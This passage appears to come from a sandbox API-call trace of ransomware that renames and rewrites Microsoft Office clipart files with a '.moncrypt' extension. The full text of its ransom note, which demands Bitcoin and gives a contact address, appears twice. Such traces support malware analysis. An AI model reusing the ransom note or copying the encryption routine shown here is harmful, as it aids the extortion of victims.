lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.325] CloseHandle (hObject=0x188) returned 1 [0060.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.326] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.326] CloseHandle (hObject=0x188) returned 1 [0060.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.327] GlobalLock (hMem=0x440004) returned 0x550170 [0060.327] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.327] GlobalUnlock (hMem=0x440004) returned 0 [0060.327] GlobalLock (hMem=0x440004) returned 0x550170 [0060.327] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.327] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.327] GlobalUnlock (hMem=0x440004) returned 0 [0060.327] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.328] GlobalUnlock (hMem=0x44000c) returned 0 [0060.328] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.328] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.328] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.328] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.329] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.329] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.329] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.329] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.329] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.329] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.329] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.329] CloseHandle (hObject=0x188) returned 1 [0060.329] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0060.329] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.329] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.329] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.329] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.329] GlobalUnlock (hMem=0x44000c) returned 0 [0060.329] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.330] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.330] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.330] GlobalUnlock (hMem=0x44000c) returned 0 [0060.330] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.330] GlobalUnlock (hMem=0x440004) returned 0 [0060.330] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.330] CharLowerBuffW (in: lpsz="AN04195_.WMF", cchLength=0xc | out: lpsz="an04195_.wmf") returned 0xc [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.331] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04195_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.331] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.331] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.331] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", dwFileAttributes=0x20) returned 1 [0060.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.moncrypt")) returned 1 [0060.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.333] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.333] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1204 [0060.333] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.333] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1204, lpOverlapped=0x0) returned 1 [0060.335] GlobalLock (hMem=0x440004) returned 0x550170 [0060.335] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.335] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.335] GlobalUnlock (hMem=0x440004) returned 0 [0060.335] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.335] GlobalUnlock (hMem=0x44000c) returned 0 [0060.335] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.335] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.335] GlobalUnlock (hMem=0x44000c) returned 0 [0060.335] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.335] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1220, lpOverlapped=0x0) returned 1 [0060.335] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.335] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.347] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.347] CloseHandle (hObject=0x188) returned 1 [0060.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.348] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.348] CloseHandle (hObject=0x188) returned 1 [0060.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.349] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.349] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.349] GlobalUnlock (hMem=0x44000c) returned 0 [0060.349] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.349] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.349] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.349] GlobalUnlock (hMem=0x44000c) returned 0 [0060.349] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.349] GlobalUnlock (hMem=0x440004) returned 0 [0060.349] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.349] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.349] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.349] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.350] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.350] CloseHandle (hObject=0x188) returned 1 [0060.350] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0060.350] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.350] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.350] GlobalLock (hMem=0x440004) returned 0x550170 [0060.350] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.350] GlobalUnlock (hMem=0x440004) returned 0 [0060.350] GlobalLock (hMem=0x440004) returned 0x550170 [0060.350] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.350] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.350] GlobalUnlock (hMem=0x440004) returned 0 [0060.351] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.351] GlobalUnlock (hMem=0x44000c) returned 0 [0060.351] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.351] CharLowerBuffW (in: lpsz="AN04196_.WMF", cchLength=0xc | out: lpsz="an04196_.wmf") returned 0xc [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.351] MultiByteToWideChar (in: 